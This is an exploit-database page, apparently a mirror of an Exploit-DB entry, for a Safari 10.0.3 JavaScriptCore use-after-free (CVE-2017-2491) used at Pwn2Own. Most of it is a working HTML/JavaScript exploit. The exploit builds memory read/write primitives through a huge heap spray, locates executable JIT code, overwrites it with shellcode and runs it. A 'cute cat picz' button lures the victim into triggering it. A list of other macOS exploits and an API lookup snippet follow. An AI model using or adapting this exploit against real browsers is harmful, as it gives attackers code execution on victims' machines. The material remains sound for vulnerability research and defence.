Menu

Search for hundreds of thousands of exploits

"Apple Safari 10.0.3 - 'JSC::CachedCall' Use-After-Free"

Author

"saelo & niklasb"

Platform

macos

Release date

2017-05-04

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
<!--
Sources: 
https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf
https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html

Overview
The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS.

-->

<script>

function make_compiled_function() {
    function target(x) {
        return x*5 + x - x*x;
    }
    // Call only once so that function gets compiled with low level interpreter
    // but none of the optimizing JITs
    target(0);
    return target;
}

function pwn() {
    var haxs = new Array(0x100);
    for (var i = 0; i < 0x100; ++i)
        haxs[i] = new Uint8Array(0x100);

    // hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100,
    // which is the butterfly length if hax is later used as a butterfly for a
    // fake JSArray.
    var hax = haxs[0x80];
    var hax2 = haxs[0x81];

    var target_func = make_compiled_function();

    // Small helper to avoid allocations with .set(), so we don't mess up the heap
    function set(p, i, a,b,c,d,e,f,g,h) {
        p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
    }

    function spray() {
        var res = new Uint8Array(0x7ffff000);
        for (var i = 0; i < 0x7ffff000; i += 0x1000) {
            // Write heap pattern.
            // We only need a structure pointer every 128 bytes, but also some of
            // structure fields need to be != 0 and I can't remember which, so we just
            // write pointers everywhere.
            for (var j = 0; j < 0x1000; j += 8)
                set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0);

            // Write the offset to the beginning of each page so we know later
            // with which part we overlap.
            var j = i+1+2*8;
            set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff);
        }
        return res;
    }

    // Spray ~14 GiB worth of array buffers with our pattern.
    var x = [
        spray(), spray(), spray(), spray(),
        spray(), spray(), spray(), spray(),
    ];

    // The butterfly of our fake object will point to 0x200000001. This will always
    // be inside the second sprayed buffer.
    var buf = x[1];

    // A big array to hold reference to objects we don't want to be freed.
    var ary = new Array(0x10000000);
    var cnt = 0;

    // Set up objects we need to trigger the bug.
    var n = 0x40000;
    var m = 10;
    var regex = new RegExp("(ab)".repeat(n), "g");
    var part = "ab".repeat(n);
    var s = (part + "|").repeat(m);

    // Set up some views to convert pointers to doubles
    var convert = new ArrayBuffer(0x20);
    var cu = new Uint8Array(convert);
    var cf = new Float64Array(convert);

    // Construct fake JSCell header
    set(cu, 0,
        0,0,0,0,  // structure ID
        8,        // indexing type
        0,0,0);   // some more stuff we don't care about

    var container = {
        // Inline object with indebufng type 8 and butterly pointing to hax.
        // Later we will refer to it as fakearray.
        jsCellHeader: cf[0],
        butterfly: hax,
    };

    while (1) {
        // Try to trigger bug
        s.replace(regex, function() {
            for (var i = 1; i < arguments.length-2; ++i) {
                if (typeof arguments[i] === 'string') {
                    // Root all the callback arguments to force GC at some point
                    ary[cnt++] = arguments[i];
                    continue;
                }
                var a = arguments[i];

                // a.butterfly points to 0x200000001, which is always
                // inside buf, but we are not sure what the exact
                // offset is within it so we read a marker value.
                var offset = a[2];

                // Compute addrof(container) + 16. We write to the fake array, then
                // read from a sprayed array buffer on the heap.
                a[2] = container;
                var addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + buf[offset + j];

                // Add 16 to get address of inline object
                addr += 16;

                // Do the inverse to get fakeobj(addr)
                for (var j = 0; j < 8; ++j) {
                    buf[offset + j] = addr & 0xff;
                    addr /= 0x100;
                }
                var fakearray = a[2];

                // Re-write the vector pointer of hax to point to hax2.
                fakearray[2] = hax2;

                // At this point hax.vector points to hax2, so we can write
                // the vector pointer of hax2 by writing to hax[16+{0..7}]

                // Leak address of JSFunction
                a[2] = target_func;
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + buf[offset + j];

                // Follow a bunch of pointers to RWX location containing the
                // function's compiled code
                addr += 3*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                addr += 3*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                addr += 4*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                // Write shellcode
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                hax2[0] = 0xcc;
                hax2[1] = 0xcc;
                hax2[2] = 0xcc;

                // Pwn.
                target_func();
            }
            return "x";
        });
    }
}
</script>

<button onclick="pwn()">click here for cute cat picz!</button>
Release Date Title Type Platform Author
2019-08-05 "macOS iMessage - Heap Overflow when Deserializing" dos macos "Google Security Research"
2019-07-02 "Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)" local macos Metasploit
2019-05-27 "Typora 0.9.9.24.6 - Directory Traversal" remote macos "Dhiraj Mishra"
2019-05-23 "Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)" local macos Metasploit
2019-04-18 "Evernote 7.9 - Code Execution via Path Traversal" local macos "Dhiraj Mishra"
2019-03-01 "macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image" dos macos "Google Security Research"
2019-02-13 "Apple macOS 10.13.5 - Local Privilege Escalation" local macos Synacktiv
2019-02-20 "FaceTime - Texture Processing Memory Corruption" dos macos "Google Security Research"
2019-01-31 "macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File" dos macos "Google Security Research"
2019-01-24 "Microsoft Remote Desktop 10.2.4(134) - Denial of Service (PoC)" dos macos "Saeed Hasanzadeh"
2018-12-14 "Safari - Proxy Object Type Confusion (Metasploit)" remote macos Metasploit
2018-11-29 "Mac OS X - libxpc MITM Privilege Escalation (Metasploit)" local macos Metasploit
2018-11-20 "Apple macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)" dos macos "Fabiano Anemone"
2018-11-14 "SwitchVPN for macOS 2.1012.03 - Privilege Escalation" local macos "Bernd Leitner"
2018-11-13 "CuteFTP Mac 3.1 - Denial of Service (PoC)" dos macos "Yair Rodríguez Aparicio"
2018-11-06 "FaceTime - 'VCPDecompressionDecodeFrame' Memory Corruption" dos macos "Google Security Research"
2018-11-06 "FaceTime - 'readSPSandGetDecoderParams' Stack Corruption" dos macos "Google Security Research"
2018-11-05 "LiquidVPN 1.36 / 1.37 - Privilege Escalation" local macos "Bernd Leitner"
2018-05-30 "Yosoro 1.0.4 - Remote Code Execution" webapps macos "Carlo Pelliccioni"
2017-02-24 "Apple WebKit 10.0.2 - 'FrameLoader::clear' Universal Cross-Site Scripting" webapps macos "Google Security Research"
2017-06-06 "Apple Safari 10.1 - Spread Operator Integer Overflow Remote Code Execution" remote macos saelo
2017-05-04 "Apple Safari 10.0.3 - 'JSC::CachedCall' Use-After-Free" remote macos "saelo & niklasb"
2017-02-23 "Apple macOS HelpViewer 10.12.1 - XSS Leads to Arbitrary File Execution / Arbitrary File Read" remote macos "Google Security Research"
2018-07-30 "Charles Proxy 4.2 - Local Privilege Escalation" local macos "Mark Wadham"
2018-03-20 "Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation" local macos "Google Security Research"
2017-01-16 "Apple macOS Sierra 10.12.1 - 'physmem' Local Privilege Escalation" local macos "Brandon Azad"
2017-12-07 "Apple macOS High Sierra 10.13 - 'ctl_ctloutput-leak' Information Leak" local macos "Brandon Azad"
2017-11-28 "Apple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation" local macos Lemiorhan
2017-12-06 "Apple macOS 10.13.1 (High Sierra) - Insecure Cron System Local Privilege Escalation" local macos "Mark Wadham"
2017-12-06 "Proxifier for Mac 2.19 - Local Privilege Escalation" local macos "Mark Wadham"
Release Date Title Type Platform Author
2017-05-04 "Apple Safari 10.0.3 - 'JSC::CachedCall' Use-After-Free" remote macos "saelo & niklasb"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/41964/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/41964/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/41964/16648/apple-safari-1003-jsccachedcall-use-after-free/download/", "exploit_id": "41964", "exploit_description": "\"Apple Safari 10.0.3 - 'JSC::CachedCall' Use-After-Free\"", "exploit_date": "2017-05-04", "exploit_author": "\"saelo & niklasb\"", "exploit_type": "remote", "exploit_platform": "macos", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications including basic vulnerability identification.

Browse exploit APIBrowse